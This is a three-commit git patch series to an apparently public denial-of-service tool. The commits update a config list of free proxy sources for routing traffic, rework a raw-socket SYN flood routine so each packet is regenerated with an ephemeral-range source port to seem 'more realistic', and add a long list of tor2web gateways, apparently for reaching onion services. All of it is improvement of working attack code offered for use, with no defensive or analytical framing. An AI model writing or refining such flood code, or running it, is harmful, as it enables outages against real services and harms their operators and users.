From e1cac2f878022d6333f98c9390c65b0ec1c8cadc Mon Sep 17 00:00:00 2001 From: cactig <102652197+cactig@users.noreply.github.com> Date: Sat, 25 Jun 2022 13:13:28 +0200 Subject: [PATCH 1/3] Remove dead/dupelicate sources + add sources i checked all the sources checking should go faster with better results! --- config.json | 12 ++++-------- 1 file changed, 4 insertions(+), 8 deletions(-) diff --git a/config.json b/config.json index 0382cfa..3909675 100644 --- a/config.json +++ b/config.json @@ -12,12 +12,10 @@ {"type":4, "url": "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks4.txt", "timeout": 5}, {"type":4, "url": "https://www.my-proxy.com/free-socks-4-proxy.html", "timeout": 5}, {"type":4, "url": "https://raw.githubusercontent.com/roosterkid/openproxylist/main/SOCKS4_RAW.txt", "timeout": 5}, - {"type":4, "url": "http://proxysearcher.sourceforge.net/Proxy/List.php?type=socks", "timeout": 5}, - {"type":4, "url": "https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/socks4.txt", "timeout": 5}, {"type":4, "url": "http://www.socks24.org/feeds/posts/default", "timeout": 5}, - {"type":4, "url": "https://www.freeproxychecker.com/result/socks4_proxies.txt", "timeout": 5}, {"type":4, "url": "http://worm.rip/socks4.txt", "timeout": 5}, {"type":4, "url": "https://www.freeproxychecker.com/result/socks4_proxies.txt", "timeout": 5}, + {"type":4, "url": "https://proxyspace.pro/socks4.txt", "timeout": 5}, {"type":5, "url": "https://api.proxyscrape.com/?request=displayproxies&proxytype=socks5", "timeout": 5}, {"type":5, "url": "https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks5", "timeout": 5}, @@ -32,8 +30,8 @@ {"type":5, "url": "https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks5", "timeout": 5}, {"type":5, "url": "http://www.socks24.org/feeds/posts/default", "timeout": 5}, {"type":5, "url": "https://www.freeproxychecker.com/result/socks5_proxies.txt", "timeout": 5}, - {"type":5, "url": "https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/socks5.txt", "timeout": 5}, {"type":5, "url": "http://worm.rip/socks5.txt", "timeout": 5}, + {"type":5, "url": "https://proxyspace.pro/socks5.txt", "timeout": 5}, {"type":5, "url": "https://raw.githubusercontent.com/hookzof/socks5_list/master/proxy.txt", "timeout": 5}, @@ -50,7 +48,6 @@ {"type":1, "url": "https://www.my-proxy.com/free-proxy-list-2.html", "timeout": 5}, {"type":1, "url": "https://www.my-proxy.com/free-proxy-list-3.html", "timeout": 5}, {"type":1, "url": "https://www.my-proxy.com/free-proxy-list-4.html", "timeout": 5}, - {"type":1, "url": "https://proxy50-50.blogspot.com/", "timeout": 5}, {"type":1, "url": "https://www.my-proxy.com/free-proxy-list-5.html", "timeout": 5}, {"type":1, "url": "http://alexa.lr2b.com/proxylist.txt", "timeout": 5}, {"type":1, "url": "http://rootjazz.com/proxies/proxies.txt", "timeout": 5}, @@ -70,11 +67,10 @@ {"type":1, "url": "https://raw.githubusercontent.com/sunny9577/proxy-scraper/master/proxies.txt", "timeout": 5}, {"type":1, "url": "https://raw.githubusercontent.com/UserR3X/proxy-list/main/online/http.txt", "timeout": 5}, {"type":1, "url": "https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list-raw.txt", "timeout": 5}, - {"type":1, "url": "https://raw.githubusercontent.com/opsxcq/proxy-list/master/list.txt", "timeout": 5}, - {"type":1, "url": "https://proxy-spider.com/api/proxies.example.txt", "timeout": 5}, {"type":1, "url": "https://multiproxy.org/txt_all/proxy.txt", "timeout": 5}, {"type":1, "url": "http://rootjazz.com/proxies/proxies.txt", "timeout": 5}, - {"type":1, "url": "https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list-raw.txt", "timeout": 5}, + {"type":1, "url": "https://proxyspace.pro/http.txt", "timeout": 5}, + {"type":1, "url": "https://proxyspace.pro/https.txt", "timeout": 5}, {"type":1, "url": "http://worm.rip/http.txt", "timeout": 5} ] } From fac76899e0a7b96e4face8052b92a81af71375d7 Mon Sep 17 00:00:00 2001 From: Sam <100821827+01101sam@users.noreply.github.com> Date: Sat, 25 Jun 2022 23:44:30 +0800 Subject: [PATCH 2/3] Make SYN more realistic --- start.py | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/start.py b/start.py index a828f62..498ec28 100644 --- a/start.py +++ b/start.py @@ -485,11 +485,10 @@ class Layer4(Thread): Tools.safe_close(s) def SYN(self) -> None: - payload = self._genrate_syn() s = None with suppress(Exception), socket(AF_INET, SOCK_RAW, IPPROTO_TCP) as s: s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1) - while Tools.sendto(s, payload, self._target): + while Tools.sendto(s, self._genrate_syn(), self._target): continue Tools.safe_close(s) @@ -569,7 +568,7 @@ class Layer4(Thread): tcp.set_SYN() tcp.set_th_flags(0x02) tcp.set_th_dport(self._target[1]) - tcp.set_th_sport(ProxyTools.Random.rand_int(1, 65535)) + tcp.set_th_sport(ProxyTools.Random.rand_int(32768, 65535)) ip.contains(tcp) return ip.get_packet() From 7bfd63fc663e46cf935c4b289f2f90697d75b083 Mon Sep 17 00:00:00 2001 From: Nexus <78029616+Nexuzzzz@users.noreply.github.com> Date: Sat, 2 Jul 2022 00:04:41 +0000 Subject: [PATCH 3/3] Add more tor2web gateways --- start.py | 38 +++++++++++++++++++++++++++++++++++++- 1 file changed, 37 insertions(+), 1 deletion(-) diff --git a/start.py b/start.py index 498ec28..c3024b6 100644 --- a/start.py +++ b/start.py @@ -48,7 +48,43 @@ ctx.verify_mode = CERT_NONE __version__: str = "2.4 SNAPSHOT" __dir__: Path = Path(__file__).parent __ip__: Any = None -tor2webs = ['onion.ly', 'tor2web.to', 'onion.org', 'onion.pet', 'onion.ws', 'onion.top', 'onion.dog'] +tor2webs = [ + 'onion.city', + 'onion.cab', + 'onion.direct', + 'onion.sh', + 'onion.link', + 'onion.ws', + 'onion.pet', + 'onion.rip', + 'onion.plus', + 'onion.top', + 'onion.si', + 'onion.ly', + 'onion.my', + 'onion.sh', + 'onion.lu', + 'onion.casa', + 'onion.com.de', + 'onion.foundation', + 'onion.rodeo', + 'onion.lat', + 'tor2web.org', + 'tor2web.fi', + 'tor2web.blutmagie.de', + 'tor2web.to', + 'tor2web.io', + 'tor2web.in', + 'tor2web.it', + 'tor2web.xyz', + 'tor2web.su', + 'darknet.to', + 's1.tor-gateways.de', + 's2.tor-gateways.de', + 's3.tor-gateways.de', + 's4.tor-gateways.de', + 's5.tor-gateways.de' + ] with open(__dir__ / "config.json") as f: con = load(f)